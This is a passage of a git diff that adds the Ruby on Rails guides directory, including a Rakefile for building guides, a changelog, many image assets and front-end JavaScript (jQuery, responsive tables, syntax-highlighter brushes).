+# `gem list`.each_line {|line| print " #{line}"}
+
+failures = results.select { |key, value| !value }
+
+if failures.empty?
+ puts
+ puts "Rails build finished successfully"
+ exit(true)
+else
+ puts
+ puts "Rails build FAILED"
+ puts "Failed components: #{failures.map { |component| component.first }.join(', ')}"
+ exit(false)
+end
diff --git a/guides/.document b/guides/.document
new file mode 100644
index 0000000..e69de29
diff --git a/guides/CHANGELOG.md b/guides/CHANGELOG.md
new file mode 100644
index 0000000..b0e5284
--- /dev/null
+++ b/guides/CHANGELOG.md
@@ -0,0 +1,12 @@
+## Rails 4.0.0 (unreleased) ##
+* Change Service pages(404, etc). *Stanislav Sobolev*
+
+## Rails 4.0.0.beta1 (unreleased) ##
+
+* Split Validations and Callbacks guide into two. *Steve Klabnik*
+
+* New guide _Working with JavaScript in Rails_. *Steve Klabnik*
+
+* Guides updated to reflect new test locations. *Mike Moore*
+
+* Guides have a responsive design. *Joe Fiorini*
diff --git a/guides/Rakefile b/guides/Rakefile
new file mode 100644
index 0000000..d6dd950
--- /dev/null
+++ b/guides/Rakefile
@@ -0,0 +1,77 @@
+namespace :guides do
+
+ desc 'Generate guides (for authors), use ONLY=foo to process just "foo.md"'
+ task :generate => 'generate:html'
+
+ namespace :generate do
+
+ desc "Generate HTML guides"
+ task :html do
+ ENV["WARN_BROKEN_LINKS"] = "1" # authors can't disable this
+ ruby "rails_guides.rb"
+ end
+
+ desc "Generate .mobi file. The kindlegen executable must be in your PATH. You can get it for free from http://www.amazon.com/kindlepublishing"
+ task :kindle do
+ unless `kindlerb -v 2> /dev/null` =~ /kindlerb 0.1.1/
+ abort "Please `gem install kindlerb`"
+ end
+ unless `convert` =~ /convert/
+ abort "Please install ImageMagick`"
+ end
+ ENV['KINDLE'] = '1'
+ Rake::Task['guides:generate:html'].invoke
+ end
+ end
+
+ # Validate guides -------------------------------------------------------------------------
+ desc 'Validate guides, use ONLY=foo to process just "foo.html"'
+ task :validate do
+ ruby "w3c_validator.rb"
+ end
+
+ desc "Show help"
+ task :help do
+ puts <<-help
+
+Guides are taken from the source directory, and the resulting HTML goes into the
+output directory. Assets are stored under files, and copied to output/files as
+part of the generation process.
+
+All this process is handled via rake tasks, here's a full list of them:
+
+#{%x[rake -T]}
+Some arguments may be passed via environment variables:
+
+ WARNINGS=1
+ Internal links (anchors) are checked, also detects duplicated IDs.
+
+ ALL=1
+ Force generation of all guides.
+
+ ONLY=name
+ Useful if you want to generate only one or a set of guides.
+
+ Generate only association_basics.html:
+ ONLY=assoc
+
+ Separate many using commas:
+ ONLY=assoc,migrations
+
+ GUIDES_LANGUAGE
+ Use it when you want to generate translated guides in
+ source/<GUIDES_LANGUAGE> folder (such as source/es)
+
+ EDGE=1
+ Indicate generated guides should be marked as edge.
+
+Examples:
+ $ rake guides:generate ALL=1
+ $ rake guides:generate EDGE=1
+ $ rake guides:generate:kindle EDGE=1
+ $ rake guides:generate GUIDES_LANGUAGE=es
+ help
+ end
+end
+
+task :default => 'guides:help'
diff --git a/guides/assets/images/belongs_to.png b/guides/assets/images/belongs_to.png
new file mode 100644
index 0000000..43c963f
Binary files /dev/null and b/guides/assets/images/belongs_to.png differ
diff --git a/guides/assets/images/book_icon.gif b/guides/assets/images/book_icon.gif
new file mode 100644
index 0000000..efc5e06
Binary files /dev/null and b/guides/assets/images/book_icon.gif differ
diff --git a/guides/assets/images/bullet.gif b/guides/assets/images/bullet.gif
new file mode 100644
index 0000000..95a2636
Binary files /dev/null and b/guides/assets/images/bullet.gif differ
diff --git a/guides/assets/images/challenge.png b/guides/assets/images/challenge.png
new file mode 100644
index 0000000..30be3d7
Binary files /dev/null and b/guides/assets/images/challenge.png differ
diff --git a/guides/assets/images/chapters_icon.gif b/guides/assets/images/chapters_icon.gif
new file mode 100644
index 0000000..a61c28c
Binary files /dev/null and b/guides/assets/images/chapters_icon.gif differ
diff --git a/guides/assets/images/check_bullet.gif b/guides/assets/images/check_bullet.gif
new file mode 100644
index 0000000..bd54ef6
Binary files /dev/null and b/guides/assets/images/check_bullet.gif differ
diff --git a/guides/assets/images/credits_pic_blank.gif b/guides/assets/images/credits_pic_blank.gif
new file mode 100644
index 0000000..a6b335d
Binary files /dev/null and b/guides/assets/images/credits_pic_blank.gif differ
diff --git a/guides/assets/images/csrf.png b/guides/assets/images/csrf.png
new file mode 100644
index 0000000..a8123d4
Binary files /dev/null and b/guides/assets/images/csrf.png differ
diff --git a/guides/assets/images/edge_badge.png b/guides/assets/images/edge_badge.png
new file mode 100644
index 0000000..a35dc9f
Binary files /dev/null and b/guides/assets/images/edge_badge.png differ
diff --git a/guides/assets/images/favicon.ico b/guides/assets/images/favicon.ico
new file mode 100644
index 0000000..e0e80cf
Binary files /dev/null and b/guides/assets/images/favicon.ico differ
diff --git a/guides/assets/images/feature_tile.gif b/guides/assets/images/feature_tile.gif
new file mode 100644
index 0000000..7546936
Binary files /dev/null and b/guides/assets/images/feature_tile.gif differ
diff --git a/guides/assets/images/footer_tile.gif b/guides/assets/images/footer_tile.gif
new file mode 100644
index 0000000..bb33fc1
Binary files /dev/null and b/guides/assets/images/footer_tile.gif differ
diff --git a/guides/assets/images/fxn.png b/guides/assets/images/fxn.png
new file mode 100644
index 0000000..9b531ee
Binary files /dev/null and b/guides/assets/images/fxn.png differ
diff --git a/guides/assets/images/getting_started/confirm_dialog.png b/guides/assets/images/getting_started/confirm_dialog.png
new file mode 100644
index 0000000..1a13edd
Binary files /dev/null and b/guides/assets/images/getting_started/confirm_dialog.png differ
diff --git a/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png b/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png
new file mode 100644
index 0000000..500dfc2
Binary files /dev/null and b/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png differ
diff --git a/guides/assets/images/getting_started/form_with_errors.png b/guides/assets/images/getting_started/form_with_errors.png
new file mode 100644
index 0000000..6910e16
Binary files /dev/null and b/guides/assets/images/getting_started/form_with_errors.png differ
diff --git a/guides/assets/images/getting_started/index_action_with_edit_link.png b/guides/assets/images/getting_started/index_action_with_edit_link.png
new file mode 100644
index 0000000..bf23cba
Binary files /dev/null and b/guides/assets/images/getting_started/index_action_with_edit_link.png differ
diff --git a/guides/assets/images/getting_started/new_post.png b/guides/assets/images/getting_started/new_post.png
new file mode 100644
index 0000000..b573cb1
Binary files /dev/null and b/guides/assets/images/getting_started/new_post.png differ
diff --git a/guides/assets/images/getting_started/post_with_comments.png b/guides/assets/images/getting_started/post_with_comments.png
new file mode 100644
index 0000000..e13095f
Binary files /dev/null and b/guides/assets/images/getting_started/post_with_comments.png differ
diff --git a/guides/assets/images/getting_started/routing_error_no_controller.png b/guides/assets/images/getting_started/routing_error_no_controller.png
new file mode 100644
index 0000000..43ccd25
Binary files /dev/null and b/guides/assets/images/getting_started/routing_error_no_controller.png differ
diff --git a/guides/assets/images/getting_started/routing_error_no_route_matches.png b/guides/assets/images/getting_started/routing_error_no_route_matches.png
new file mode 100644
index 0000000..1b8c0ea
Binary files /dev/null and b/guides/assets/images/getting_started/routing_error_no_route_matches.png differ
diff --git a/guides/assets/images/getting_started/show_action_for_posts.png b/guides/assets/images/getting_started/show_action_for_posts.png
new file mode 100644
index 0000000..9467df6
Binary files /dev/null and b/guides/assets/images/getting_started/show_action_for_posts.png differ
diff --git a/guides/assets/images/getting_started/template_is_missing_posts_new.png b/guides/assets/images/getting_started/template_is_missing_posts_new.png
new file mode 100644
index 0000000..7598043
Binary files /dev/null and b/guides/assets/images/getting_started/template_is_missing_posts_new.png differ
diff --git a/guides/assets/images/getting_started/undefined_method_post_path.png b/guides/assets/images/getting_started/undefined_method_post_path.png
new file mode 100644
index 0000000..c29cb2f
Binary files /dev/null and b/guides/assets/images/getting_started/undefined_method_post_path.png differ
diff --git a/guides/assets/images/getting_started/unknown_action_create_for_posts.png b/guides/assets/images/getting_started/unknown_action_create_for_posts.png
new file mode 100644
index 0000000..d60a304
Binary files /dev/null and b/guides/assets/images/getting_started/unknown_action_create_for_posts.png differ
diff --git a/guides/assets/images/getting_started/unknown_action_new_for_posts.png b/guides/assets/images/getting_started/unknown_action_new_for_posts.png
new file mode 100644
index 0000000..f4b3eff
Binary files /dev/null and b/guides/assets/images/getting_started/unknown_action_new_for_posts.png differ
diff --git a/guides/assets/images/grey_bullet.gif b/guides/assets/images/grey_bullet.gif
new file mode 100644
index 0000000..3c08b15
Binary files /dev/null and b/guides/assets/images/grey_bullet.gif differ
diff --git a/guides/assets/images/habtm.png b/guides/assets/images/habtm.png
new file mode 100644
index 0000000..b062bc7
Binary files /dev/null and b/guides/assets/images/habtm.png differ
diff --git a/guides/assets/images/has_many.png b/guides/assets/images/has_many.png
new file mode 100644
index 0000000..e7589e3
Binary files /dev/null and b/guides/assets/images/has_many.png differ
diff --git a/guides/assets/images/has_many_through.png b/guides/assets/images/has_many_through.png
new file mode 100644
index 0000000..858c898
Binary files /dev/null and b/guides/assets/images/has_many_through.png differ
diff --git a/guides/assets/images/has_one.png b/guides/assets/images/has_one.png
new file mode 100644
index 0000000..93faa05
Binary files /dev/null and b/guides/assets/images/has_one.png differ
diff --git a/guides/assets/images/has_one_through.png b/guides/assets/images/has_one_through.png
new file mode 100644
index 0000000..07dac1a
Binary files /dev/null and b/guides/assets/images/has_one_through.png differ
diff --git a/guides/assets/images/header_backdrop.png b/guides/assets/images/header_backdrop.png
new file mode 100644
index 0000000..72b0304
Binary files /dev/null and b/guides/assets/images/header_backdrop.png differ
diff --git a/guides/assets/images/header_tile.gif b/guides/assets/images/header_tile.gif
new file mode 100644
index 0000000..e2c878d
Binary files /dev/null and b/guides/assets/images/header_tile.gif differ
diff --git a/guides/assets/images/i18n/demo_html_safe.png b/guides/assets/images/i18n/demo_html_safe.png
new file mode 100644
index 0000000..9afa8eb
Binary files /dev/null and b/guides/assets/images/i18n/demo_html_safe.png differ
diff --git a/guides/assets/images/i18n/demo_localized_pirate.png b/guides/assets/images/i18n/demo_localized_pirate.png
new file mode 100644
index 0000000..bf8d0b5
Binary files /dev/null and b/guides/assets/images/i18n/demo_localized_pirate.png differ
diff --git a/guides/assets/images/i18n/demo_translated_en.png b/guides/assets/images/i18n/demo_translated_en.png
new file mode 100644
index 0000000..e887bfa
Binary files /dev/null and b/guides/assets/images/i18n/demo_translated_en.png differ
diff --git a/guides/assets/images/i18n/demo_translated_pirate.png b/guides/assets/images/i18n/demo_translated_pirate.png
new file mode 100644
index 0000000..aa5618a
Binary files /dev/null and b/guides/assets/images/i18n/demo_translated_pirate.png differ
diff --git a/guides/assets/images/i18n/demo_translation_missing.png b/guides/assets/images/i18n/demo_translation_missing.png
new file mode 100644
index 0000000..867aa7c
Binary files /dev/null and b/guides/assets/images/i18n/demo_translation_missing.png differ
diff --git a/guides/assets/images/i18n/demo_untranslated.png b/guides/assets/images/i18n/demo_untranslated.png
new file mode 100644
index 0000000..2ea6404
Binary files /dev/null and b/guides/assets/images/i18n/demo_untranslated.png differ
diff --git a/guides/assets/images/icons/README b/guides/assets/images/icons/README
new file mode 100644
index 0000000..f12b2a7
--- /dev/null
+++ b/guides/assets/images/icons/README
@@ -0,0 +1,5 @@
+Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook
+icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency
+from the Jimmac icons to get round MS IE and FOP PNG incompatibilies.
+
+Stuart Rackham
diff --git a/guides/assets/images/icons/callouts/1.png b/guides/assets/images/icons/callouts/1.png
new file mode 100644
index 0000000..c5d02ad
Binary files /dev/null and b/guides/assets/images/icons/callouts/1.png differ
diff --git a/guides/assets/images/icons/callouts/10.png b/guides/assets/images/icons/callouts/10.png
new file mode 100644
index 0000000..fe89f9e
Binary files /dev/null and b/guides/assets/images/icons/callouts/10.png differ
diff --git a/guides/assets/images/icons/callouts/11.png b/guides/assets/images/icons/callouts/11.png
new file mode 100644
index 0000000..9244a1a
Binary files /dev/null and b/guides/assets/images/icons/callouts/11.png differ
diff --git a/guides/assets/images/icons/callouts/12.png b/guides/assets/images/icons/callouts/12.png
new file mode 100644
index 0000000..ae56459
Binary files /dev/null and b/guides/assets/images/icons/callouts/12.png differ
diff --git a/guides/assets/images/icons/callouts/13.png b/guides/assets/images/icons/callouts/13.png
new file mode 100644
index 0000000..1181f9f
Binary files /dev/null and b/guides/assets/images/icons/callouts/13.png differ
diff --git a/guides/assets/images/icons/callouts/14.png b/guides/assets/images/icons/callouts/14.png
new file mode 100644
index 0000000..4274e65
Binary files /dev/null and b/guides/assets/images/icons/callouts/14.png differ
diff --git a/guides/assets/images/icons/callouts/15.png b/guides/assets/images/icons/callouts/15.png
new file mode 100644
index 0000000..39304de
Binary files /dev/null and b/guides/assets/images/icons/callouts/15.png differ
diff --git a/guides/assets/images/icons/callouts/2.png b/guides/assets/images/icons/callouts/2.png
new file mode 100644
index 0000000..8c57970
Binary files /dev/null and b/guides/assets/images/icons/callouts/2.png differ
diff --git a/guides/assets/images/icons/callouts/3.png b/guides/assets/images/icons/callouts/3.png
new file mode 100644
index 0000000..57a33d1
Binary files /dev/null and b/guides/assets/images/icons/callouts/3.png differ
diff --git a/guides/assets/images/icons/callouts/4.png b/guides/assets/images/icons/callouts/4.png
new file mode 100644
index 0000000..f061ab0
Binary files /dev/null and b/guides/assets/images/icons/callouts/4.png differ
diff --git a/guides/assets/images/icons/callouts/5.png b/guides/assets/images/icons/callouts/5.png
new file mode 100644
index 0000000..b4de02d
Binary files /dev/null and b/guides/assets/images/icons/callouts/5.png differ
diff --git a/guides/assets/images/icons/callouts/6.png b/guides/assets/images/icons/callouts/6.png
new file mode 100644
index 0000000..0e055ee
Binary files /dev/null and b/guides/assets/images/icons/callouts/6.png differ
diff --git a/guides/assets/images/icons/callouts/7.png b/guides/assets/images/icons/callouts/7.png
new file mode 100644
index 0000000..5ead87d
Binary files /dev/null and b/guides/assets/images/icons/callouts/7.png differ
diff --git a/guides/assets/images/icons/callouts/8.png b/guides/assets/images/icons/callouts/8.png
new file mode 100644
index 0000000..cb99545
Binary files /dev/null and b/guides/assets/images/icons/callouts/8.png differ
diff --git a/guides/assets/images/icons/callouts/9.png b/guides/assets/images/icons/callouts/9.png
new file mode 100644
index 0000000..0ac0360
Binary files /dev/null and b/guides/assets/images/icons/callouts/9.png differ
diff --git a/guides/assets/images/icons/caution.png b/guides/assets/images/icons/caution.png
new file mode 100644
index 0000000..031e19c
Binary files /dev/null and b/guides/assets/images/icons/caution.png differ
diff --git a/guides/assets/images/icons/example.png b/guides/assets/images/icons/example.png
new file mode 100644
index 0000000..1b0e482
Binary files /dev/null and b/guides/assets/images/icons/example.png differ
diff --git a/guides/assets/images/icons/home.png b/guides/assets/images/icons/home.png
new file mode 100644
index 0000000..24149d6
Binary files /dev/null and b/guides/assets/images/icons/home.png differ
diff --git a/guides/assets/images/icons/important.png b/guides/assets/images/icons/important.png
new file mode 100644
index 0000000..dafcf0f
Binary files /dev/null and b/guides/assets/images/icons/important.png differ
diff --git a/guides/assets/images/icons/next.png b/guides/assets/images/icons/next.png
new file mode 100644
index 0000000..355b329
Binary files /dev/null and b/guides/assets/images/icons/next.png differ
diff --git a/guides/assets/images/icons/note.png b/guides/assets/images/icons/note.png
new file mode 100644
index 0000000..08d35a6
Binary files /dev/null and b/guides/assets/images/icons/note.png differ
diff --git a/guides/assets/images/icons/prev.png b/guides/assets/images/icons/prev.png
new file mode 100644
index 0000000..ea564c8
Binary files /dev/null and b/guides/assets/images/icons/prev.png differ
diff --git a/guides/assets/images/icons/tip.png b/guides/assets/images/icons/tip.png
new file mode 100644
index 0000000..d834e6d
Binary files /dev/null and b/guides/assets/images/icons/tip.png differ
diff --git a/guides/assets/images/icons/up.png b/guides/assets/images/icons/up.png
new file mode 100644
index 0000000..379f004
Binary files /dev/null and b/guides/assets/images/icons/up.png differ
diff --git a/guides/assets/images/icons/warning.png b/guides/assets/images/icons/warning.png
new file mode 100644
index 0000000..72a8a5d
Binary files /dev/null and b/guides/assets/images/icons/warning.png differ
diff --git a/guides/assets/images/jaimeiniesta.jpg b/guides/assets/images/jaimeiniesta.jpg
new file mode 100644
index 0000000..445f048
Binary files /dev/null and b/guides/assets/images/jaimeiniesta.jpg differ
diff --git a/guides/assets/images/nav_arrow.gif b/guides/assets/images/nav_arrow.gif
new file mode 100644
index 0000000..ff08181
Binary files /dev/null and b/guides/assets/images/nav_arrow.gif differ
diff --git a/guides/assets/images/oscardelben.jpg b/guides/assets/images/oscardelben.jpg
new file mode 100644
index 0000000..9f3f67c
Binary files /dev/null and b/guides/assets/images/oscardelben.jpg differ
diff --git a/guides/assets/images/polymorphic.png b/guides/assets/images/polymorphic.png
new file mode 100644
index 0000000..a3cbc45
Binary files /dev/null and b/guides/assets/images/polymorphic.png differ
diff --git a/guides/assets/images/radar.png b/guides/assets/images/radar.png
new file mode 100644
index 0000000..f61e087
Binary files /dev/null and b/guides/assets/images/radar.png differ
diff --git a/guides/assets/images/rails4_features.png b/guides/assets/images/rails4_features.png
new file mode 100644
index 0000000..a979f02
Binary files /dev/null and b/guides/assets/images/rails4_features.png differ
diff --git a/guides/assets/images/rails_guides_kindle_cover.jpg b/guides/assets/images/rails_guides_kindle_cover.jpg
new file mode 100644
index 0000000..9eb1672
Binary files /dev/null and b/guides/assets/images/rails_guides_kindle_cover.jpg differ
diff --git a/guides/assets/images/rails_guides_logo.gif b/guides/assets/images/rails_guides_logo.gif
new file mode 100644
index 0000000..9b0ad5a
Binary files /dev/null and b/guides/assets/images/rails_guides_logo.gif differ
diff --git a/guides/assets/images/rails_logo_remix.gif b/guides/assets/images/rails_logo_remix.gif
new file mode 100644
index 0000000..58960ee
Binary files /dev/null and b/guides/assets/images/rails_logo_remix.gif differ
diff --git a/guides/assets/images/rails_welcome.png b/guides/assets/images/rails_welcome.png
new file mode 100644
index 0000000..8ad2d35
Binary files /dev/null and b/guides/assets/images/rails_welcome.png differ
diff --git a/guides/assets/images/session_fixation.png b/guides/assets/images/session_fixation.png
new file mode 100644
index 0000000..ac3ab01
Binary files /dev/null and b/guides/assets/images/session_fixation.png differ
diff --git a/guides/assets/images/tab_grey.gif b/guides/assets/images/tab_grey.gif
new file mode 100644
index 0000000..995adb7
Binary files /dev/null and b/guides/assets/images/tab_grey.gif differ
diff --git a/guides/assets/images/tab_info.gif b/guides/assets/images/tab_info.gif
new file mode 100644
index 0000000..e9dd164
Binary files /dev/null and b/guides/assets/images/tab_info.gif differ
diff --git a/guides/assets/images/tab_note.gif b/guides/assets/images/tab_note.gif
new file mode 100644
index 0000000..f9b546c
Binary files /dev/null and b/guides/assets/images/tab_note.gif differ
diff --git a/guides/assets/images/tab_red.gif b/guides/assets/images/tab_red.gif
new file mode 100644
index 0000000..0613093
Binary files /dev/null and b/guides/assets/images/tab_red.gif differ
diff --git a/guides/assets/images/tab_yellow.gif b/guides/assets/images/tab_yellow.gif
new file mode 100644
index 0000000..39a3c2d
Binary files /dev/null and b/guides/assets/images/tab_yellow.gif differ
diff --git a/guides/assets/images/tab_yellow.png b/guides/assets/images/tab_yellow.png
new file mode 100644
index 0000000..3ab1c56
Binary files /dev/null and b/guides/assets/images/tab_yellow.png differ
diff --git a/guides/assets/images/vijaydev.jpg b/guides/assets/images/vijaydev.jpg
new file mode 100644
index 0000000..e21d3ca
Binary files /dev/null and b/guides/assets/images/vijaydev.jpg differ
diff --git a/guides/assets/javascripts/guides.js b/guides/assets/javascripts/guides.js
new file mode 100644
index 0000000..7e494fb
--- /dev/null
+++ b/guides/assets/javascripts/guides.js
@@ -0,0 +1,57 @@
+function guideMenu(){
+ if (document.getElementById('guides').style.display == "none") {
+ document.getElementById('guides').style.display = "block";
+ } else {
+ document.getElementById('guides').style.display = "none";
+ }
+}
+
+$.fn.selectGuide = function(guide){
+ $("select", this).val(guide);
+}
+
+guidesIndex = {
+ bind: function(){
+ var currentGuidePath = window.location.pathname;
+ var currentGuide = currentGuidePath.substring(currentGuidePath.lastIndexOf("/")+1);
+ $(".guides-index-small").
+ on("change", "select", guidesIndex.navigate).
+ selectGuide(currentGuide);
+ $(".more-info-button:visible").click(function(e){
+ e.stopPropagation();
+ if($(".more-info-links").is(":visible")){
+ $(".more-info-links").addClass("s-hidden").unwrap();
+ } else {
+ $(".more-info-links").wrap("<div class='more-info-container'></div>").removeClass("s-hidden");
+ }
+ $(document).on("click", function(e){
+ var $button = $(".more-info-button");
+ var element;
+
+ // Cross browser find the element that had the event
+ if (e.target) element = e.target;
+ else if (e.srcElement) element = e.srcElement;
+
+ // Defeat the older Safari bug:
+ // http://www.quirksmode.org/js/events_properties.html
+ if (element.nodeType == 3) element = element.parentNode;
+
+ var $element = $(element);
+
+ var $container = $element.parents(".more-info-container");
+
+ // We've captured a click outside the popup
+ if($container.length == 0){
+ $container = $button.next(".more-info-container");
+ $container.find(".more-info-links").addClass("s-hidden").unwrap();
+ $(document).off("click");
+ }
+ });
+ });
+ },
+ navigate: function(e){
+ var $list = $(e.target);
+ url = $list.val();
+ window.location = url;
+ }
+}
diff --git a/guides/assets/javascripts/jquery.min.js b/guides/assets/javascripts/jquery.min.js
new file mode 100644
index 0000000..93adea1
--- /dev/null
+++ b/guides/assets/javascripts/jquery.min.js
@@ -0,0 +1,4 @@
+/*! jQuery v1.7.2 jquery.com | jquery.org/license */
+(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.bod [...]
+a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){ [...]
+.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagNa [...]
\ No newline at end of file
diff --git a/guides/assets/javascripts/responsive-tables.js b/guides/assets/javascripts/responsive-tables.js
new file mode 100755
index 0000000..8554a13
--- /dev/null
+++ b/guides/assets/javascripts/responsive-tables.js
@@ -0,0 +1,43 @@
+$(document).ready(function() {
+ var switched = false;
+ $("table").not(".syntaxhighlighter").addClass("responsive");
+ var updateTables = function() {
+ if (($(window).width() < 767) && !switched ){
+ switched = true;
+ $("table.responsive").each(function(i, element) {
+ splitTable($(element));
+ });
+ return true;
+ }
+ else if (switched && ($(window).width() > 767)) {
+ switched = false;
+ $("table.responsive").each(function(i, element) {
+ unsplitTable($(element));
+ });
+ }
+ };
+
+ $(window).load(updateTables);
+ $(window).bind("resize", updateTables);
+
+
+ function splitTable(original)
+ {
+ original.wrap("<div class='table-wrapper' />");
+
+ var copy = original.clone();
+ copy.find("td:not(:first-child), th:not(:first-child)").css("display", "none");
+ copy.removeClass("responsive");
+
+ original.closest(".table-wrapper").append(copy);
+ copy.wrap("<div class='pinned' />");
+ original.wrap("<div class='scrollable' />");
+ }
+
+ function unsplitTable(original) {
+ original.closest(".table-wrapper").find(".pinned").remove();
+ original.unwrap();
+ original.unwrap();
+ }
+
+});
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js b/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js
new file mode 100644
index 0000000..8aa3ed2
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js
@@ -0,0 +1,59 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ // Created by Peter Atoria @ http://iAtoria.com
+
+ var inits = 'class interface function package';
+
+ var keywords = '-Infinity ...rest Array as AS3 Boolean break case catch const continue Date decodeURI ' +
+ 'decodeURIComponent default delete do dynamic each else encodeURI encodeURIComponent escape ' +
+ 'extends false final finally flash_proxy for get if implements import in include Infinity ' +
+ 'instanceof int internal is isFinite isNaN isXMLName label namespace NaN native new null ' +
+ 'Null Number Object object_proxy override parseFloat parseInt private protected public ' +
+ 'return set static String super switch this throw true try typeof uint undefined unescape ' +
+ 'use void while with'
+ ;
+
+ this.regexList = [
+ { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments
+ { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings
+ { regex: /\b([\d]+(\.[\d]+)?|0x[a-f0-9]+)\b/gi, css: 'value' }, // numbers
+ { regex: new RegExp(this.getKeywords(inits), 'gm'), css: 'color3' }, // initializations
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // keywords
+ { regex: new RegExp('var', 'gm'), css: 'variable' }, // variable
+ { regex: new RegExp('trace', 'gm'), css: 'color1' } // trace
+ ];
+
+ this.forHtmlScript(SyntaxHighlighter.regexLib.scriptScriptTags);
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['actionscript3', 'as3'];
+
+ SyntaxHighlighter.brushes.AS3 = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js b/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js
new file mode 100644
index 0000000..d40bbd7
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js
@@ -0,0 +1,75 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ // AppleScript brush by David Chambers
+ // http://davidchambersdesign.com/
+ var keywords = 'after before beginning continue copy each end every from return get global in local named of set some that the then times to where whose with without';
+ var ordinals = 'first second third fourth fifth sixth seventh eighth ninth tenth last front back middle';
+ var specials = 'activate add alias AppleScript ask attachment boolean class constant delete duplicate empty exists false id integer list make message modal modified new no paragraph pi properties quit real record remove rest result reveal reverse run running save string true word yes';
+
+ this.regexList = [
+
+ { regex: /(--|#).*$/gm,
+ css: 'comments' },
+
+ { regex: /\(\*(?:[\s\S]*?\(\*[\s\S]*?\*\))*[\s\S]*?\*\)/gm, // support nested comments
+ css: 'comments' },
+
+ { regex: /"[\s\S]*?"/gm,
+ css: 'string' },
+
+ { regex: /(?:,|:|¬|'s\b|\(|\)|\{|\}|«|\b\w*»)/g,
+ css: 'color1' },
+
+ { regex: /(-)?(\d)+(\.(\d)?)?(E\+(\d)+)?/g, // numbers
+ css: 'color1' },
+
+ { regex: /(?:&(amp;|gt;|lt;)?|=|� |>|<|≥|>=|≤|<=|\*|\+|-|\/|÷|\^)/g,
+ css: 'color2' },
+
+ { regex: /\b(?:and|as|div|mod|not|or|return(?!\s&)(ing)?|equals|(is(n't| not)? )?equal( to)?|does(n't| not) equal|(is(n't| not)? )?(greater|less) than( or equal( to)?)?|(comes|does(n't| not) come) (after|before)|is(n't| not)?( in)? (back|front) of|is(n't| not)? behind|is(n't| not)?( (in|contained by))?|does(n't| not) contain|contain(s)?|(start|begin|end)(s)? with|((but|end) )?(consider|ignor)ing|prop(erty)?|(a )?ref(erence)?( to)?|repeat (until|while|with)|((end|exit) )?repeat|((else| [...]
+ css: 'keyword' },
+
+ { regex: /\b\d+(st|nd|rd|th)\b/g, // ordinals
+ css: 'keyword' },
+
+ { regex: /\b(?:about|above|against|around|at|below|beneath|beside|between|by|(apart|aside) from|(instead|out) of|into|on(to)?|over|since|thr(ough|u)|under)\b/g,
+ css: 'color3' },
+
